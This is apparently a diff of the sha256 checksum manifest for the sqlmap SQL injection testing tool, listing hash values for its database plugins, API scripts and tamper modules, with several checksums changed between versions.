plugins/dbms/frontbase/filesystem.py +edccff1c98ae9a0aa44b6bddafed6800f10a6a2f7501c51f983ca9d491c61d39 plugins/dbms/frontbase/fingerprint.py +ac17975286d2a01f6841ad05a7ccb2332bd2c672631c70bd7f3423aa8ad1b852 plugins/dbms/frontbase/__init__.py +642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/frontbase/syntax.py +024efc3a5496ef3377d9e2a3a0b22c4c42dea6b1b5c0eff6919434a38c05b4ef plugins/dbms/frontbase/takeover.py +e4e5ec5ffc77fb6697da01a0a5469cc3373b287a3e1f4d40efe8295625e8f333 plugins/dbms/h2/connector.py +5b35fef7466bb0b99c6aa99c18b58e3005372bec99ce809cc068c72f87a950de plugins/dbms/h2/enumeration.py +f83219407b5134e9283baa1f1741d965f650cf165dbd0bad991dc1283e947572 plugins/dbms/h2/filesystem.py +9ff278b87cf61bd301324b357ffb7ca6305f46d903ce5fd821b8d139357c1d14 plugins/dbms/h2/fingerprint.py +860696c2561a5d4c6d573c50a257e039bff77ffbc5119513d77089096b051fbc plugins/dbms/h2/__init__.py +95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/h2/syntax.py +8934c4fffc67f0080970bf007d0e2f25d6a79482cc2370673833f3cbe1f9f620 plugins/dbms/h2/takeover.py +42d3fa136a67898c1908a3882baf128d15a48cd2cfe64054fa77038096e5bc0b plugins/dbms/hsqldb/connector.py +4c65b248cb0c2477ffaa9f337af698f6abc910907ef04f2b7ddc783dcc085f7a plugins/dbms/hsqldb/enumeration.py +d2581e9e2833b4232fcfc720f6d6638ec2254931f0905f0e281a4022d430c0f0 plugins/dbms/hsqldb/filesystem.py +95ccbaa856cffc900e752a6e85779bf22feebab98035ba62b1ac93ac08da568e plugins/dbms/hsqldb/fingerprint.py +d175e63fd1c896a4c02e7e2b48d818108635c3b98a64a6068e1d4c814d2ce8ce plugins/dbms/hsqldb/__init__.py +95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/hsqldb/syntax.py +0aaa588c65e730320ab501b83b489db25f3f6cf20b5917bcdb9e9304df3419cb plugins/dbms/hsqldb/takeover.py +be523cf2d55158a62a842b789cfb9e8fe2bdd39e14134d1d48b432281c4eeaa0 plugins/dbms/informix/connector.py +0fb38a5c9b72e0ebbda1a937a55399235269fd626d832dd0ab39a730f1efcfb5 plugins/dbms/informix/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/informix/filesystem.py +3fa5fd5a4157625cb56e886292bd9c7cc4a3e611ecade94272e97e3acdd4b116 plugins/dbms/informix/fingerprint.py +8bf3439844dc55e595f50ebfc5848087a1045bfd6856f8f4426206219ec8884f plugins/dbms/informix/__init__.py +9ed94a189509038c4defb74f811beefc77f78cd5cbdef5f3454caaf0ef5fa3a0 plugins/dbms/informix/syntax.py +0d10b24235d3633b2115843fc073badd6b875db3732bb3912b4059ee060974a8 plugins/dbms/informix/takeover.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/dbms/__init__.py +24c87bcd39870dda3926c977f674999d52bb28cd0ed63ef471950864be56d356 plugins/dbms/maxdb/connector.py +ab62053bdea3387caba40d1aeba374f0a68eb520ca46b4426ddf0f716505cc53 plugins/dbms/maxdb/enumeration.py +e7996383ad3ac84c719ee972946db43f6c80e3059ebf4104c6d0ab92eb81312c plugins/dbms/maxdb/filesystem.py +aae7ab70aadbb76522d2a41eea4f9f0ad4347496ab1bfb2aa1a417aaddb555d4 plugins/dbms/maxdb/fingerprint.py +ad3e211209756b07a501f60920237d4b602fa3a91b26cd4d35a9ccaddb20b273 plugins/dbms/maxdb/__init__.py +642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/maxdb/syntax.py +ce921c72dae90cc4c25ef554fe5706019515019f1e288504d7d0a946a6f0a952 plugins/dbms/maxdb/takeover.py +04cbfc50a0314e02ff8e85ca99df7b81393c62d4bab33eee76e75724f170c4df plugins/dbms/mckoi/connector.py +4ff77ceccc88dded0b29603a7768ff82a499b7994241b54458207184c96d6077 plugins/dbms/mckoi/enumeration.py +625b6ed49e0c47983d805d88ddce07bff12f7aa6297ffd346a746c3a2498517c plugins/dbms/mckoi/filesystem.py +8b8f3fce45ecbd31d38235f7f84fe3291c35e25af2495fd4bdc60684000c3ffd plugins/dbms/mckoi/fingerprint.py +08fd3c1a784deabc5a0e801757055589fc13c1c45090236c06f82324a01c4972 plugins/dbms/mckoi/__init__.py +642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/mckoi/syntax.py +e03f0d6499492871a1e142e61b4fa0d28a103803e5cdca25d853b81b5c017e0e plugins/dbms/mckoi/takeover.py +de7846f5a61b4368d597dcfceeacc9d40b304f3dc39255a6eb9da0064d62ca8e plugins/dbms/mimersql/connector.py +725b51b86fb7d71b932fc5c28c9ee057dd009d446bbc4edd2db8871ae4a4e74e plugins/dbms/mimersql/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/mimersql/filesystem.py +4ef5f0e7906ba5b5fb2f209652f6bab167f1ca535bc106e5379d20a165ee05c0 plugins/dbms/mimersql/fingerprint.py +dfd109d97a3ce292e7dbd4c4dc3a2251e9a9d9c6bbd40150f8bbcf789daaa3f6 plugins/dbms/mimersql/__init__.py +01fd77ddad176b128ad6a3eb11f0b482b9aadaae762fd09da341b20a173f50a4 plugins/dbms/mimersql/syntax.py +761a070d40466844a2ab6fcf423d228661993b72941e332febe6b4f87a378ce3 plugins/dbms/mimersql/takeover.py +a0d1e26c32b558e30e791b404fc0b140b3d034cd87d2446a346458bcd137744c plugins/dbms/monetdb/connector.py +df95ffeab52ddb3bfbe846802d6a97d7ae4bafaade4bdef5c3127c4e24fa611e plugins/dbms/monetdb/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/monetdb/filesystem.py +33bae74354d238c45395e244076c777b6a90db726aa7740137cb0afc6b305ef3 plugins/dbms/monetdb/fingerprint.py +6c645258ca81c04ea5943950f50e31ee7c6f9290cc2292d1585ee5c796ca7cc3 plugins/dbms/monetdb/__init__.py +0e79bceb5f5eeadfb81c8637b33bb9dbc21d36b9d68535b364b9b84504fd9054 plugins/dbms/monetdb/syntax.py +8ae509f210bba745e9d909d7977c476eb6ea9c44103b1c356ebc19fc8402991e plugins/dbms/monetdb/takeover.py +e8e010d1bdc9f12df5bc3b86c0a80a80cce81a820c86a4e030bb66be8180091f plugins/dbms/mssqlserver/connector.py +32c1e51893a16b0112c0a43e8de4e57857b3c2c8952233793252ffe5dc2f59b8 plugins/dbms/mssqlserver/enumeration.py +5a3a4e9021c07bc5f79925686815c012ae411052e868430a0e6b8a108f9bbbef plugins/dbms/mssqlserver/filesystem.py +f01e26e641fbfb3c3e7620c9cd87739a9a607fc66c56337ca02cc85479fb5f63 plugins/dbms/mssqlserver/fingerprint.py +639873fc2bb7152728d8657719593baa0c41cef8f8c829618ca2182d0ffe497e plugins/dbms/mssqlserver/__init__.py +955ece67bfd3c8a27e21dca8604fe5768a69db5d57e78bfc55a4793de61e5c3c plugins/dbms/mssqlserver/syntax.py +84ade82bf8a6d331536f4aeb3858307cd8fb5e4f60b2add330e8ba4aa93afe22 plugins/dbms/mssqlserver/takeover.py +36e706114f64097e185372aa97420f5267f7e1ccfc03968beda899cd6e32f226 plugins/dbms/mysql/connector.py +96126e474f7c4e5581cabccff3e924c4789c8e2dbc74463ab7503ace08a88a3a plugins/dbms/mysql/enumeration.py +4c6af0e2202a080aa94be399a3d60cab97551ac42aa2bcc95581782f3cabc0c3 plugins/dbms/mysql/filesystem.py +b2c69cfa82d1ea7a5278780d20de6d0c4f1dc0158a809355ed2ffb9afbc74b36 plugins/dbms/mysql/fingerprint.py +34dfa460e65be6f775b1d81906c97515a435f3dbadda57f5a928f7b87cefd97d plugins/dbms/mysql/__init__.py +eb59dd2ce04fa676375166549b532e0a5b6cb4c1666b7b2b780446d615aefb07 plugins/dbms/mysql/syntax.py +05e1586c3a32ee8596adb48bec4588888883727b05a367a48adb6b86abea1188 plugins/dbms/mysql/takeover.py +057180682be97f3604e9f8e6bd160080a3ae154e45417ad71735c3a398ed4dfd plugins/dbms/oracle/connector.py +78e46d8d3635df6320cb6681b15f8cfaa6b5a99d6d2faf4a290a78e0c34b4431 plugins/dbms/oracle/enumeration.py +742ad0eb5c11920952314caaf85bb8d1e617c68b7ba6564f66bce4a8630219e7 plugins/dbms/oracle/filesystem.py +14efe3828c8693952bf9d9e2925091a5b4b6862a242b943525c268a3bc4735b9 plugins/dbms/oracle/fingerprint.py +04653ad487de6927e9fcd29e8c5668da8210a02ad3d4ac89707bd1c38307c9b5 plugins/dbms/oracle/__init__.py +d5c9bba081766f14d14e2898d1a041f97961bebac3cf3e891f8942b31c28b47e plugins/dbms/oracle/syntax.py +4c83f4d043e5492b0b0ec1db677cbc61f450c8bd6f2314ee8cb4555b00bb64a6 plugins/dbms/oracle/takeover.py +c9a8ac9fa836cf6914272b24f434509b49294f2cb177d886622e38baa22f2f15 plugins/dbms/postgresql/connector.py +b086d8ff29282c688772f6672c1132c667a1051a000fc4fcd4ab1068203b0acb plugins/dbms/postgresql/enumeration.py +bb23135008e1616e0eb35719b5f49d4093cc688ad610766fca7b1d627c811dd8 plugins/dbms/postgresql/filesystem.py +ba0eae8047e65dcd23d005e0336653967be9ec4a6df35f4997b006b05a57ea8b plugins/dbms/postgresql/fingerprint.py +9912b2031d0dfa35e2f6e71ea24cec35f0129e696334b7335cd36eac39abe23a plugins/dbms/postgresql/__init__.py +1a5d2c3b9bd8b7c14e0b1e810e964f698335f779f1a8407b71366dc5e0ee963c plugins/dbms/postgresql/syntax.py +b9886913baaac83f6b47b060a4785fe75f61db8c8266b4de8ccfaf180938900a plugins/dbms/postgresql/takeover.py +aead3665a963d9bccabcb1128c41cb13e9dc762028a586612f2e8aba46c2e6a5 plugins/dbms/presto/connector.py +e1a93e0bbdc87bdd64ec6cfb68ce9eb276640397bb4147ea57ca64399b24a324 plugins/dbms/presto/enumeration.py +8a1d28b47a76b281490cb2208b391cb93c1566e3c77728d955f7a198ebc858f6 plugins/dbms/presto/filesystem.py +5fc454300c6f828889289285e0fc31e56b2cce9b67ae55621f319f700633e20b plugins/dbms/presto/fingerprint.py +0344e3df6d25051b2611aa21407019605b4dc18b788b9119fbedb26be7f7673c plugins/dbms/presto/__init__.py +359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/presto/syntax.py +fde7db6d782721e9b96cc05889f6cec991e042adf64a3063eb84414ba747ea55 plugins/dbms/presto/takeover.py +55e8ff3e19953a7a8c5d49c0d0bb2c257bb8f492f8a7a7642394555cd092a694 plugins/dbms/raima/connector.py +e07cf0278d173bf58759278151ce830ce8ae5f37c4d601e3f1aabb78a683733d plugins/dbms/raima/enumeration.py +2c38e416f0cf5cb4f57c333026631110ba13f427645bdebaaa677760350158e8 plugins/dbms/raima/filesystem.py +77b67ea17ef9d49281458fc4111e400e418556978ebe0eee74058528054c43af plugins/dbms/raima/fingerprint.py +87c3c905ed878224e99ef888134c8a26d7b391a91c48bd014cccb8efe8f3cdb9 plugins/dbms/raima/__init__.py +95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/raima/syntax.py +c7c0f076ed708d90500da24d62abd26754f39f60c0bf3a8c69cdb15486356545 plugins/dbms/raima/takeover.py +588a8805a2675d019a56ae9c7693dd460fae026562512e6ed963149854ac02b9 plugins/dbms/sqlite/connector.py +b55d302bbf0f6741c8da51a642d9450a457d19a548dab7b48dcff157cda5a918 plugins/dbms/sqlite/enumeration.py +fa5a2d818c69a24d37bd8d765c2e814a9115e3925114c3b1552d0e25d6079797 plugins/dbms/sqlite/filesystem.py +2e41ca8e45c1509abdd336563dcbaddecbaffcdfb627c862a2d761de8b63dec5 plugins/dbms/sqlite/fingerprint.py +41be22829026986472b7d2cfc9d555b47b689e78829a35beef3cc735c4e57988 plugins/dbms/sqlite/__init__.py +8e920c79f14ccea9ac7466b7b13af8b96d0054e8662c12e1f0490846071d8bd5 plugins/dbms/sqlite/syntax.py +1665f3d4dd15dc046a76e3f63fa162194bb914777ab6f401e61d6bc1d1203f32 plugins/dbms/sqlite/takeover.py +2fe51138dab93cbfbe1f675b5bc1d548da5722a27a9a7de9488fecd94cf4abab plugins/dbms/sybase/connector.py +cac32a72aa93a52665595575cd0cf41e13b4a9dd61d52ac761dd38c389361f64 plugins/dbms/sybase/enumeration.py +df25d742d6c7993d8e9b4dfa1ec4d553deb1f4d9cea67dc34839d87f83043687 plugins/dbms/sybase/filesystem.py +a4702c1890efae100bbe9976e911672ebe6eb36be80ab1444ae022583586c21d plugins/dbms/sybase/fingerprint.py +4d893f0e09cc9e7051bcf31e59a1bf0f766d46db37c311a23a1f6ddcaefc5bdd plugins/dbms/sybase/__init__.py +fd85b4ce154df0038fed672d6184f70b293acd20a151c361a996b4c6b490173b plugins/dbms/sybase/syntax.py +b217edf9e2e4c709072c7985dce8b60b81580f1cd500887270e8986c46a7427e plugins/dbms/sybase/takeover.py +2b5d7d5225c9e7ec6d7bd5e1a0253183f6c9a83f1278ec84f4de66f2e9a728ff plugins/dbms/vertica/connector.py +71114a697c9bbeace3a6acd7a4399542fb002ed80801d88821c7df84c3975697 plugins/dbms/vertica/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/vertica/filesystem.py +d0c04036a1f320a4fb0005b8101bec2dbd057e8a6a28b36a8f0857005aed07c6 plugins/dbms/vertica/fingerprint.py +f928dd14ee3404cae4ccee5e929653121e71118f3577f3a996b8543e43ae80a4 plugins/dbms/vertica/__init__.py +0e313506d5da85da783f2299db13f97c1e767b52e79fea15fea6564d331f80bf plugins/dbms/vertica/syntax.py +bbf398e06fc36930fd6ff5f92cdcb9480edcb9e255790cb7a5efbfc5b82e8e78 plugins/dbms/vertica/takeover.py +9691332bd81468af9a77f897f4639828d2f830fbb1da481cec3e194e34338361 plugins/dbms/virtuoso/connector.py +6a5fbf52552b7d1c2ac06abef75b20f8771c82348eebdc4ea4592c384199bae3 plugins/dbms/virtuoso/enumeration.py +f5a88335e9ac0565ea371f2333c233c33f7d0f7961924136fd4da05aab6180f3 plugins/dbms/virtuoso/filesystem.py +df08594bd8b9be6a7c0053f4eed5247cd30ca33d7fc9a1f9ea183d2970d1f1cd plugins/dbms/virtuoso/fingerprint.py +66b04e59cb19e2526d6c0df83af5df10f5bb6cae466e33815058324da9b3453b plugins/dbms/virtuoso/__init__.py +359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/virtuoso/syntax.py +b8e6f5e064116dfef1692a258d382db6c28adf63fff9790bc1216ac3251e0dea plugins/dbms/virtuoso/takeover.py +c4c0af903df68fdb55909299b6ab0efdc09e8c44769cc095264aa62f62ed61ff plugins/generic/connector.py +e93b58e292374c4f36a813b41487cab24beaad0409978df62e56a40bf169a0cd plugins/generic/custom.py +034a5796fbe9523964374b538f6b02fb7b57eefc43914e8402916edd986b45f7 plugins/generic/databases.py +a0329946e8c74c253a9aa0b1a58fa8881c6b2e607bb55562e4bd67bb70838bfd plugins/generic/entries.py +1fc8551f16b529b5baff9b4a0a286c5183b7ef9cde9fb5f7b64e303260c60d8d plugins/generic/enumeration.py +7218a180c246ce29e30a78c8e772a374ceecf3af8b81b7caaf91d221ab1f6d6d plugins/generic/filesystem.py +023f5ba1c58fffd533cb0d2b3fbe1b5de2b6bd200b46b7b1adeb4c02f24d1af9 plugins/generic/fingerprint.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/generic/__init__.py +e55aaf385c5c77963d9aa6ff4aa64a5f23e7c3122b763b02a7c97a6846d8a58f plugins/generic/misc.py +9757a07e6665aba8d9ee0456d9bfb446bef54d8578532f496c51e6b1fc6913f0 plugins/generic/search.py +5a753afa0014176d3724e3070b594a561dc36d186739249067e694670efb1d00 plugins/generic/syntax.py +8f372843e22df12006cdf68eb6c9715294f9f3a4fbc44a6a3a74da4e7fcdb4a7 plugins/generic/takeover.py +b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generic/users.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/__init__.py 5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md -78aafd53980096364f0c995c6283931bff505aed88fed1e7906fb06ee60e9c5b sqlmapapi.py +8c4fd81d84598535643cf0ef1b2d350cd92977cb55287e23993b76eaa2215c30 sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 6da15963699aa8916118f92c8838013bc02c84e4d7b9f33d971324c2ff348728 sqlmap.conf -3a18b78b1aaf7236a35169db20eb21ca7d7fb907cd38dd34650f1da81c010cd6 sqlmap.py -adda508966db26c30b11390d6483c1fa25b092942a29730e739e1e50c403a21f tamper/0eunion.py -d38fe5ab97b401810612eae049325aa990c55143504b25cc9924810917511dee tamper/apostrophemask.py -8de713d1534d8cda171db4ceeb9f4324bcc030bbef21ffeaf60396c6bece31e4 tamper/apostrophenullencode.py -661e45f350ecba30a030f09b921071f31061e21f3e961d10ce8f2fd182f4c1b2 tamper/appendnullbyte.py -fd40e0e7f8a26562f73d33f522f2d563b33edd6ba7dd1dbb9cdd6c638b30b668 tamper/base64encode.py -c795b0dd956a30e1a3f3f9a8c4b0780bb2218f1a2d5187bab8e5db63a9230076 tamper/between.py -e9b931e0aed47ba8405e1ad2bccc52a5fe82cb9e68c155cdb9775514de8daf94 tamper/binary.py -b27c9a34c4acd11ae465845e5fbeff0d0fd3cd5555a3598d83f6824b2fd80afb tamper/bluecoat.py -11b16376c7dd2a4b30bc295b13e2512f7dc8fdda5c218f617b68bad8e35b2439 tamper/chardoubleencode.py -99f849701b49f9c398aecfc974a416947728e14e87f009773406b2f0494e1081 tamper/charencode.py -b0367135085ca891bf4cc04e5090aa790296a4f446fce4381e89b5630a634560 tamper/charunicodeencode.py -3c65cc181357702b5e38c15d0e4e4461be620e073c25b8f9de65af53e5ff725f tamper/charunicodeescape.py -3941485eb98c515244ed0d89a2079f7ff828cc3b48eca677c57abe0d6c6b7dc6 tamper/commalesslimit.py -39f9fbb7ccfafbddc4e15de81307e0bc6f66628cd6320f2d43b51ce8dbc34519 tamper/commalessmid.py -af4a1caa2b5d29c7d4fd4af25504e2cd87b47cb0d2b25b495c08b82462ccf39e tamper/commentbeforeparentheses.py -c700cbc900012c7e7479bdbff8e503023cdfa0835b274390539c4e0c045f13ba tamper/concat2concatws.py -a0fcfda0d97b076e3f992657566102bd447154962caaf2102f04f7998c180014 tamper/decentities.py -07ddd70923122f766e5394dcb5da412c9035659ea73cee409418e75c379b6125 tamper/dunion.py -358f199f6ab43f33dfa8357c4c5e9771ebddc513479d21327637813e35c503f9 tamper/equaltolike.py -a11da62ce14d77cbf06e930f8fb65a1db99fbac4d4533a0d6ee0f772fbedce76 tamper/equaltorlike.py -0967102eec12d82b82ae5688537b740af0bbd02f261aa64eb22eb28135d2a43b tamper/escapequotes.py -d1e336141aebc8fafd3c3c75f27fbcf1d091a36acbaa163d004aca3c726a2af3 tamper/greatest.py -c8609858d1fcde0842568f9c33a9980b905640b6ec527e4fc37f754ecc4a7407 tamper/halfversionedmorekeywords.py -e67c5f435bfb6ed26c0c2fcbd3bba015892698f85dfc0092a1b15a92a2066b83 tamper/hex2char.py -fbc65419dbc6caaf06914efb30b0ba5fea2297d26df94ab42843e5453472d767 tamper/hexentities.py -84b7dc75c8c721224ac64613c056a991bc475c55b463f424ceb22bbb8ec6a5b4 tamper/htmlencode.py -d4708072b20520c27d0e6d716bed0040187de2a308956ef9d2ec9cbd1d9c0014 tamper/if2case.py -0bf4efb352525e9548601dda98def32b305091fa01e80f5f6b182ae6bd63b4e0 tamper/ifnull2casewhenisnull.py -0a0219ddbf464f20ae2f506680f15b74f634c9e540c9998480091c81316d690d tamper/ifnull2ifisnull.py -4e892fcceb55835850813ba0573a40174386c7a73d3a06bfbfeedee2e356adcd tamper/informationschemacomment.py -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 tamper/__init__.py -5227d41885c9bb6143ca05160662a46a43ff3a95b8257ed9e03b6da1615599e7 tamper/least.py -0fe534675cc3ee0a1897be9aa0224646e65dccb5b4ec93077f59b18658162644 tamper/lowercase.py -158e08dac83da4b7e1f76b9c9c6c46dc2c41cd8ebd5a7a0c764c04e59ec6d21c tamper/luanginx.py -4028dcdaaa3aed884c43efec57ec0c2d4250151a2fd5aabaf9525d25ad7835ad tamper/misunion.py -a3bfaa0b387d772389c2c47dd2206f8c2d85201cb22c055db1c69a9acab46856 tamper/modsecurityversioned.py -33d52fe07ca72e08b83c17da7a1fbba6b9ed6e847e183d04be2f48a00e563a1f tamper/modsecurityzeroversioned.py -a6b192124fa48bfff1c2a0d788ed6bd27465f237475dcc64b7bb9637f7ffa51b tamper/multiplespaces.py -8c2255f906132fccdfafcd76d1c947ee06759d4df34283c94425814b7a508ccc tamper/ord2ascii.py -d5df62f066ea405d9e961d6fb9e8c217f3b118d2c06300e52a8062b12720ff21 tamper/overlongutf8more.py -43f802f0acc4dbc549f0bbcdcd11128c0ac50d666ea88432f162f1d052c8a91f tamper/overlongutf8.py -31d0d3a4b848ef9f46b45c799818177186fe2ed04bffe1a94ad1c4302f4c34bb tamper/percentage.py -17e5cbc66762680cd4a72891174a6d612b7fa2d61dce1a0e7de14155acc53c42 tamper/plus2concat.py -5f0709fed4777af69c91968e2545ee9f31b8337d0261f373537980b4891faa54 tamper/plus2fnconcat.py -fd98827059903a1f16e10724a0be0e443cb1fe16eac3298a7f10cfe1fb14833a tamper/randomcase.py -9c7b936a2989a85dd61120e59d9d308a7bfc47a5089308b325cabf29b118cd64 tamper/randomcomments.py -b4abd43afd11b40b5bd780bf820bcb61a4b3187f2a325b64bb0538fa0d463863 tamper/schemasplit.py -3d9e52a087fef458d63f0fdb67fc4d0c1ac52b5f131c0e8486afcc7c77b2bb69 tamper/scientific.py -952a32b3a5466e47d97f218c94c47a236ff04615180ffc8591a8d546b7e5ddbe tamper/sleep2getlock.py -5e9c2a1fa498bf4cc6f048f6308de42eada3e5e31f148355a4a651512b8807d0 tamper/space2comment.py -acca7e57a216404aa92caa4d3b30ca0533be1b66d54e8b43f058c9204464a98a tamper/space2dash.py -c17acda15fb75b70b32e5cb5daed693b25946b7ea92a4d044e403138b3f177f3 tamper/space2hash.py -c11cc97d8456ffbb20629e8e666fd9a9cd90b62d16e9afe4482b0ca58fa69013 tamper/space2morecomment.py -c0926bdb41bc40442d814fb7fbf626330b51b87b16f8ef7abe38de39e15ae066 tamper/space2morehash.py -379802350168756c5781f7d9a4ce9d738f48f636ce239feda3a0e49663a30f24 tamper/space2mssqlblank.py -c15080551b727b7eeb9e979670fecd660cabcf933182af755f6544012be0e5b8 tamper/space2mssqlhash.py -e8f68041beeca3ab1109e68e301db2f5aed61201e196e9ffa5c7c950d9d3376d tamper/space2mysqlblank.py -1e8138fa9511697ada1eb5979c4adb77b6e6b0e661f856ad54eae526149866d1 tamper/space2mysqldash.py -b9b64d3b890200090e89b47e32ff73705468ee7e6ec4fd94406f4de17e1113bb tamper/space2plus.py -5af373e0131603d8fc4a7b69bcb7729238f55795afedc0929b70a3399a0a8e67 tamper/space2randomblank.py -ae0b72d5bff89635cd21fee20a9035f9258c364690bc060ebe474a7e51c811a2 tamper/sp_password.py -004ff7df7b51e8bf6cbd516e5037ea389da54b634a2879a94a3cd4e218c6f471 tamper/substring2leftright.py -0080ad00ae048c33d31915d0055e9b3b0d878bba5a0391702370d2eed5badc05 tamper/symboliclogical.py -911ddabaf042acc4219f305d6c359c8804fed80327f1c7631f705b07b3889887 tamper/unionalltounion.py -0e2a5af8b6ec65a8fb54ecc4fe5b9257b4da15a261d88313a4c60b83fbacb6af tamper/unmagicquotes.py -b4b03668061ba1a1dfc2e3a3db8ba500481da23f22b2bb1ebcbddada7479c3b0 tamper/uppercase.py -3142a59cbcf2038bf9a50307576f3efea7a0dedf7701a4a4348ab47e9447fc34 tamper/varnish.py -19ae32e01e44152d29b303eedfadb812bb216e7b4c37d42d8bd01fa02ea20864 tamper/versionedkeywords.py -460988f86bcedf656dca61131b11d4926eb295c6affc8d36989435b4d21a74dd tamper/versionedmorekeywords.py -bd0fd06e24c3e05aecaccf5ba4c17d181e6cd35eee82c0efd6df5414fb0cb6f6 tamper/xforwardedfor.py +3795c6d03bc341a0e3aef3d7990ea8c272d91a4c307e1498e850594375af39f7 sqlmap.py +d6788235cd599e05cb65e9c3279a03b1cf769d4aa15c78d226a1d2cf6aa14e86 tamper/0eunion.py +35ad42cc9fbe66f025d9f6d0b1284a9f00213510e3c39e60a2d8f3e8b6a77e7b tamper/apostrophemask.py +71bc240d0153fccb9caa828f05eca4e9d51c2e5510dee9fb8533b70226d29207 tamper/apostrophenullencode.py +847b5dc53e195f30abaa6e60b9bc9f39e15df7e6c2a99b31a435b69a345c0937 tamper/appendnullbyte.py +510b050400bf8cf3ed30d29635083dd69692ec0ca20fe9cb9958feb4f89e34fe tamper/base64encode.py +c41f1f5fa2fa73b130f9194e89a04b512fe21784cf1a94e3a61680995999b1dd tamper/between.py +576aa77cacbe18695038eeab851be217347ed28d1c0505a098e93fcb3db3575b tamper/binary.py +805239f02e8f1bbc3374cb02aec3aa6ae37b72716344f201094c9f39ff35e655 tamper/bluecoat.py +5e52fb35fbd46cd5293c03491913b655eb47ddb7e99c2830e454945eee693a22 tamper/chardoubleencode.py +fa25e5a74c6cf0787b4f72321294095a3b7690f53423f058187ad08b458ef1fe tamper/charencode.py +1c87fc49792df6091b7eb880108142b42a0a3810cc0cd2316a858ccdbf1c5ce4 tamper/charunicodeencode.py +00d51073f9e40d8dfa5fcb04eafda359bd0ecb91e358b3910f3ec43c1a381111 tamper/charunicodeescape.py +549d206488c3c651eca958bb1b016771fc36e6ebbed76c009959a728a66ed333 tamper/commalesslimit.py +f6351d88d74c7ec4f39f306c86ea8bddf41a04bc6c25987bea92df877542ec6f tamper/commalessmid.py +52dbbe4353f1096747787c83d5b6c60a41861f59c03ee28cca2b52c107266b85 tamper/commentbeforeparentheses.py +60b5bcdcdee261e39b7479811c09b936c52b22da6c1397a5c0c220ce241122f9 tamper/concat2concatws.py +14799daf71f4885883b294d8f697c9b1e33d24f9e9f1d3be6d2a2c60b82f69a7 tamper/decentities.py +b5cf413cc21b0bf0059d8af98a33b2cf19f49b5c21e0e3846783ca7e5d1eff9a tamper/dunion.py +27504dc545c498708271d0c7bea14b44b89403c5b8fc98d60120dd9ea52b6d0f tamper/equaltolike.py +20335ef616befb53184fb0179c492f0d167b58ae718fa015f72c837244a00a4c tamper/equaltorlike.py +5a4927d47403b951d943d3c08af144396012659598d3d2ac5fbf84572c38fe4e tamper/escapequotes.py +dad8dddf7b63d4fadfa9e87fc7676888f058907ba45ace449f5cde87dc5643d0 tamper/greatest.py +77a0e7a233124632f4906597a0a19a00739f8c027eb0a433451dc09fa1bda056 tamper/halfversionedmorekeywords.py +97e208dde78b6c27bf57a761433280d5b9e4e7934f9524fe228326c658bb150f tamper/hex2char.py +9eaae1c351058602c9f19306ff6498b60af166fd7242089ceb7be8f3782568e0 tamper/hexentities.py +6dc224f2af8f57e9b48d860fea662c4efdf77cb152de9b6db5469c7ab3f10afb tamper/htmlencode.py +cb1b78a6984b99b86f8ae3d88b2da871e6c4d478a11540a2864786705e304429 tamper/if2case.py +7b95283abcef696bf22b19690ce9381bbd3e8d6f78846a541759546c19805c90 tamper/ifnull2casewhenisnull.py +d3e85b2eeb8330482fd602cff23399a23bb6a2d25ea44a594e5a8ca0028e78a3 tamper/ifnull2ifisnull.py +d498e409c96d2ae2cc86263ead52ae385e95e9ec27f28247180c7c73ec348b3f tamper/informationschemacomment.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 tamper/__init__.py +b9a84211c84785361f4efa55858a1cdddd63cee644d0b8d4323b3a5e3db7d12f tamper/least.py +0de2bd766f883ac742f194f991c5d38799ffbf4346f4376be7ec8d750f2d9ef8 tamper/lowercase.py +c390d072ed48431ab5848d51b9ca5c4ff323964a770f0597bdde943ed12377f8 tamper/luanginx.py +7eba10540514a5bfaee02e92b711e0f89ffe30b1672ec25c7680f2aa336c8a58 tamper/misunion.py +b262da8d38dbb4be64d42e0ab07e25611da11c5d07aa11b09497b344a4c76b8d tamper/modsecurityversioned.py +fbb4ea2c764a1402293b71064183a6e929d5278afa09c7799747c53c3d3a9df3 tamper/modsecurityzeroversioned.py +91c7f96f3d0a3da9858e6ebebb337d6e3773961ff8e85af8b9e8458f782e75c0 tamper/multiplespaces.py +e0d800cfefa04fefed744956d4f3c17ccaeb1b59cb7a19c2796da4b1ebff6a3f tamper/ord2ascii.py +50ebd172e152ed9154ff75acc45b95b3c406be2d2985fe1190bfb2f6a4077763 tamper/overlongutf8more.py +a1e7d8907e7b4b25b1a418e8d5221e909096f719dcb611d15b5e91c83454ccdc tamper/overlongutf8.py +639b9cc83d94f536998b4efed8a88bed6ff8e9c67ea8381e87d1454cdea80293 tamper/percentage.py +704551003e62d4fc1949855931d6cebd57cc5cdbf2221dbd43e51cbdad6f130d tamper/plus2concat.py 